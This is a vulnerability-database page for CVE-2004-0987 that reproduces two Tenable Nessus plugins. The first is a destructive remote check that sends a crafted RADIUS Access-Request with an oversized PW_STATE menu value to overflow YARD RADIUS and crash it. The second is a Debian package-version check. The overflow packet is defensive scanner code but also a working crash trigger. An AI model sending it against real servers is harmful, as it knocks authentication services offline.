Vulnerabilities > CVE-2004-0987 - Remote Buffer Overflow vulnerability in Yard Radius

#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");


if (description)
{
 script_id(15892);
 script_version("1.17");
 script_cvs_date("Date: 2018/11/15 20:50:22");

 script_cve_id("CVE-2004-0987");
 script_bugtraq_id(11753);
 script_xref(name:"Secunia", value:"13312");

 script_name(english:"YardRadius process_menu Function Remote Buffer Overflow");
 script_summary(english:"Overflows YARD RADIUS");

 script_set_attribute(attribute:"synopsis", value:
"The remote host is running a vulnerable RADIUS server that may allow a
remote attacker to gain a shell." );
 script_set_attribute(attribute:"description", value:
"The remote host appears to be running YARD RADIUS 1.0.20 or older. 
This version is vulnerable to a buffer overflow that allows a remote
attacker to execute arbitrary code in the context of the RADIUS server. 

*** It is likely that this check made the remote RADIUS server crash ***");
 script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/2004/Nov/343");
 script_set_attribute(attribute:"solution", value:"Upgrade to the latest version of this software.");
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
 script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available");
 script_set_attribute(attribute:"exploit_available", value:"false");

 script_set_attribute(attribute:"vuln_publication_date", value:"2004/07/01");
 script_set_attribute(attribute:"patch_publication_date", value:"2004/07/01");
 script_set_attribute(attribute:"plugin_publication_date", value:"2004/12/01");

 script_set_attribute(attribute:"potential_vulnerability", value:"true");
 script_set_attribute(attribute:"plugin_type", value:"remote");
 script_end_attributes();

 script_category(ACT_DESTRUCTIVE_ATTACK);
 script_copyright(english:"This script is Copyright (C) 2004-2018 Tenable Network Security, Inc.");
 script_family(english:"Gain a shell remotely");

 script_require_keys("Settings/ParanoidReport");

 exit(0);
}


include("audit.inc");
include("global_settings.inc");

if (report_paranoia < 2) audit(AUDIT_PARANOID);

port = 1812;
if (!get_udp_port_state(port)) audit(AUDIT_PORT_CLOSED, port, "UDP");

soc = open_sock_udp(port);
if (!soc) audit(AUDIT_SOCK_FAIL, port, "UDP");

name = "Nessus";

coolreq = raw_string (0x01,      # Code: Access Request (1)
		  0x12,      # Packet identifier: 0x12 (18)
		  0x00,0x1C,      # Length: 58
		  # Authenticator :
		  0x20,0x20,0x20,0x20,0x20,0x20,0x31,0x31,0x30,0x31,0x39,0x31,0x32,0x38,0x34,0x32,
		  0x01,      # Attribute code : 1 (User-Name)
		  0x08,      # Att length
		  0x4E,0x65,0x73,0x73,0x75,0x73);

send(socket:soc, data:coolreq);
r = recv(socket:soc, length:4096);
if (!r) exit (0);

menu = "MENU=" + crap(data:"A", length:240);

req = raw_string (# Authenticator :
		  0x20,0x20,0x20,0x20,0x20,0x20,0x31,0x31,0x30,0x31,0x39,0x31,0x32,0x38,0x34,0x30,
		  0x01,      # Attribute code : 1 (User-Name)
		  (strlen(name)+2) % 256       # Attibute length
		  )
		  + name +
      raw_string (0x18,      # Attribute code : PW_STATE (24)
		  (strlen(menu)+2) % 256      # Attribute length
		  )
		  + menu;

len_hi = (strlen(req) + 4)/256;
len_lo = (strlen(req) + 4)%256;

req = raw_string (0x01,      # Code: Access Request (1)
		  0x12,      # Packet identifier: 0x12 (18)
		  len_hi,len_lo) + req;

send(socket:soc, data:req);
r = recv(socket:soc, length:4096);

send(socket:soc, data:coolreq);
r = recv(socket:soc, length:4096);
if (!r) security_hole(port:port, proto:"udp");

#%NASL_MIN_LEVEL 80502

#
# (C) Tenable Network Security, Inc.
#
# The descriptive text and package checks in this plugin were  
# extracted from Debian Security Advisory DSA-598. The text 
# itself is copyright (C) Software in the Public Interest, Inc.
#

include("compat.inc");

if (description)
{
  script_id(15831);
  script_version("1.19");
  script_cvs_date("Date: 2019/08/02 13:32:18");

  script_cve_id("CVE-2004-0987");
  script_xref(name:"DSA", value:"598");

  script_name(english:"Debian DSA-598-1 : yardradius - buffer overflow");
  script_summary(english:"Checks dpkg output for the updated package");

  script_set_attribute(
    attribute:"synopsis", 
    value:"The remote Debian host is missing a security-related update."
  );
  script_set_attribute(
    attribute:"description", 
    value:
"Max Vozeler noticed that yardradius, the YARD radius authentication
and accounting server, contained a stack overflow similar to the one
from radiusd which is referenced as CAN-2001-0534. This could lead to
the execution of arbitrary code as root."
  );
  script_set_attribute(
    attribute:"see_also",
    value:"http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=278384"
  );
  script_set_attribute(
    attribute:"see_also",
    value:"http://www.debian.org/security/2004/dsa-598"
  );
  script_set_attribute(
    attribute:"solution", 
    value:
"Upgrade the yardradius package immediately.

For the stable distribution (woody) this problem has been fixed in
version 1.0.20-2woody1."
  );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");

  script_set_attribute(attribute:"plugin_type", value:"local");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:debian:debian_linux:yardradius");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:debian:debian_linux:3.0");

  script_set_attribute(attribute:"patch_publication_date", value:"2004/11/25");
  script_set_attribute(attribute:"plugin_publication_date", value:"2004/11/25");
  script_set_attribute(attribute:"vuln_publication_date", value:"2004/07/01");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_copyright(english:"This script is Copyright (C) 2004-2019 Tenable Network Security, Inc.");
  script_family(english:"Debian Local Security Checks");

  script_dependencies("ssh_get_info.nasl");
  script_require_keys("Host/local_checks_enabled", "Host/Debian/release", "Host/Debian/dpkg-l");

  exit(0);
}


include("audit.inc");
include("debian_package.inc");


if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
if (!get_kb_item("Host/Debian/release")) audit(AUDIT_OS_NOT, "Debian");
if (!get_kb_item("Host/Debian/dpkg-l")) audit(AUDIT_PACKAGE_LIST_MISSING);


flag = 0;
if (deb_check(release:"3.0", prefix:"yardradius", reference:"1.0.20-2woody1")) flag++;

if (flag)
{
  if (report_verbosity > 0) security_hole(port:0, extra:deb_report_get());
  else security_hole(0);
  exit(0);
}
else audit(AUDIT_HOST_NOT, "affected");